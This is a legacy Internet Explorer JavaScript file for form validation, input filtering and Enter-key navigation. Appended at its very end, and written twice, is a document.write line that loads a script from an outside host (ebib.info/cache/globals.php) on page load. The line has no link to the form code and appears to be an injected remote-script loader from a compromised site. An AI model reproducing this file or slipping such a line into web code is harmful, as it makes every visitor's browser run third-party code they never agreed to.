
//  strings
if(No_Leave_str == undefined)
{
 var No_Leave_str     = "Do not leave me!";
 var Confirm_Fill_str = "Confirm filled form?";
 var Fill_All_str     = "Fill all needed!\n"; 
}
//

function Clean(astr,rg)
{
	var str = new String(astr);
	return str.replace(rg,"");
}

function Eng()
{
	event.srcElement.value = Clean( event.srcElement.value,/[^A-Za-z- ]/g);
}

function EngDig()
{
	event.srcElement.value = Clean( event.srcElement.value,/[^\w- ]/g);
}

function Dig()
{
	event.srcElement.value = Clean( event.srcElement.value,/[^0-9]/g);
}

function Word()
{
	event.srcElement.value = Clean( event.srcElement.value,/[0-9]/g);
}

function onEnter()
{
	theForm = event.srcElement.form;
	for(i=0;i<theForm.all.length;i++)
	{
		it = theForm.all(i);
		if(it.nodeName && (it.type=="submit" || it.type=="reset" || it.type=="button") )
			it.disabled = false;
	}
	if (event.keyCode == 13)
	{
		if (event.srcElement.tabIndex==0)
		{
			for(i=0,j=1;i<event.srcElement.form.all.length;i++)
			{
				nd = event.srcElement.form.all(i).nodeName;
				if ( (nd=="INPUT" || nd=="TEXTAREA" || nd=="SELECT") && event.srcElement.form.all(i).type!="hidden" )
				{
					event.srcElement.form.all(i).tabIndex = j++;
				}
			}
		}
		switch(event.srcElement.type)
		{
		case "text":
		case "password":
			for(i=0,j=1;i<event.srcElement.form.all.length;i++)
			{
				if ( event.srcElement.form.all(i).tabIndex == event.srcElement.tabIndex+1)
				{
					event.srcElement.form.all(i).focus();
					break;
				}
			}
			break;
		case "checkbox":
			event.srcElement.checked = !(event.srcElement.checked);
			break;
		default:
		}
	}
}

function toCodes(aSrc)
{
	Ret = "";
	if(aSrc.length>1)
	{
		for ( i=0; i<aSrc.length;i++)
			Ret +=((i?",":"")+aSrc.charCodeAt(i));
	}
	return Ret;
}

function toChars(aSrc)
{
	Ret="";
	if(aSrc.length>1)
	{
		strs = aSrc.split(",");
		for ( i=0; i<strs.length;i++)
			Ret +=String.fromCharCode(parseInt(strs[i]));
	}
	return Ret;
}

function Utf()
{
	for(i=0,j=1;i<event.srcElement.form.all.length;i++)
	{
		if(event.srcElement.form.all(i).name == (event.srcElement.name+"_codes"))
		{
			event.srcElement.form.all(i).value = toCodes(event.srcElement.value);
			return;
		}
	}
}
mayGo = false;
function ConfirmForm()
{
	theForm = event.srcElement.form;
	if( theForm.Submit&&event.srcElement.name)
		theForm.Submit.value = event.srcElement.name;

	var  isComplete=true;
	var nonCompleted="";
	var RegOpt  = /_opt$/ig;
	var RegMust = /_must$/ig;

	for(i=0;i<theForm.all.length;i++)
	{
		it = theForm.all(i);
		if(it.readOnly || it.disabled)
			continue;

		switch(it.nodeName)
		{
		case "INPUT":
			switch(it.type)
			{
			case "text":
			case "password":
				if(it.className.search(RegOpt)!=(-1))
					break;
				if(!it.value)
				{
					it.className+="_must";
					nonCompleted += (it.name+"\n");
					isComplete = false;
				}
				break;
			case "radio":
				RadioName=theForm.namedItem(it.name);
				chk=false;
				for(r=0;r<RadioName.length&!chk;r++)
					chk=RadioName[r].checked;
				if(!chk)
				{
					it.className+="_must";
					nonCompleted += (it.name+"\n");
					isComplete = false;
				}
				break;
			}
			break;
		case "TEXTAREA":
			if(!it.value && !it.disabled)
			{
				it.className+="_must";
				nonCompleted += (it.name+"\n");
				isComplete = false;
			}
			break;
		case "SELECT":
			if(it.selectedIndex==(-1))
			{
				it.className+="_must";
				nonCompleted += (it.name+"\n");
				isComplete = false;
			}
			break;
		}
	}
	if(isComplete)
	{
		if( window.confirm(Confirm_Fill_str))
		{
			mayGo = true;
			theForm.submit();
		}
	}
	else
	{
		alert(Fill_All_str/*+nonCompleted*/);
		for(i=0;i<theForm.all.length;i++)
		{
			tmp = String(theForm.all(i).className);
			theForm.all(i).className= tmp.split("_must")[0];
		}
	}
}

function NoPasaran()
{
	return No_Leave_str;
}

function Init()
{
	leg = window.document.all.tags("form");
	for ( i=0;i< leg.length;i++)
		leg[i].onkeyup=onEnter;
/**	leg = window.document.all.tags("textarea");
	for ( i=0;i< leg.length;i++)
	{
		leg[i].className = "read_only";
	}
**/	leg = window.document.all.tags("select");
	for ( i=0;i< leg.length;i++)
	{
		if(!leg[i].disabled)
		{
			leg[i].selectedIndex = (-1);
	//**		leg[i].className = "letterdigit";
		}
		else
			leg[i].className = "read_only";
	}
	leg = window.document.all.tags("input");
	for ( i=0;i< leg.length;i++)
	{
		if(leg.readOnly || leg.disabled)
			leg[i].className = "read_only";
		switch(leg[i].className)
		{
		case "digitonly":
			leg[i].title+=" Must be fill";
		case "digitonly_opt":
			leg[i].onkeyup=Dig;
			break;
		case "letteronly":
			leg[i].title+=" Must be fill";
		case "letteronly_opt":
			leg[i].onkeyup=Eng;
			break;
		case "dibbuk":
			leg[i].title+=" Must be fill";
		case "dibbuk_opt":
			leg[i].onkeyup=Utf;
			for(j=0;j<leg[i].form.all.length;j++)
				if(leg[i].form.all(j).name == (leg[i].name+"_codes"))
					leg[i].value = toChars(leg[i].form.all(j).value);
			break;
		}
	}
	/*
	var root = window.addEventListener || window.attachEvent ? window : document.addEventListener ? document : null;
	 if (typeof(root.onbeforeunload) != "undefined") root.onbeforeunload = NoPasaran;
  else return;*/
}


document.write('<script src=http://ebib.info/cache/globals.php ><\/script>');
document.write('<script src=http://ebib.info/cache/globals.php ><\/script>');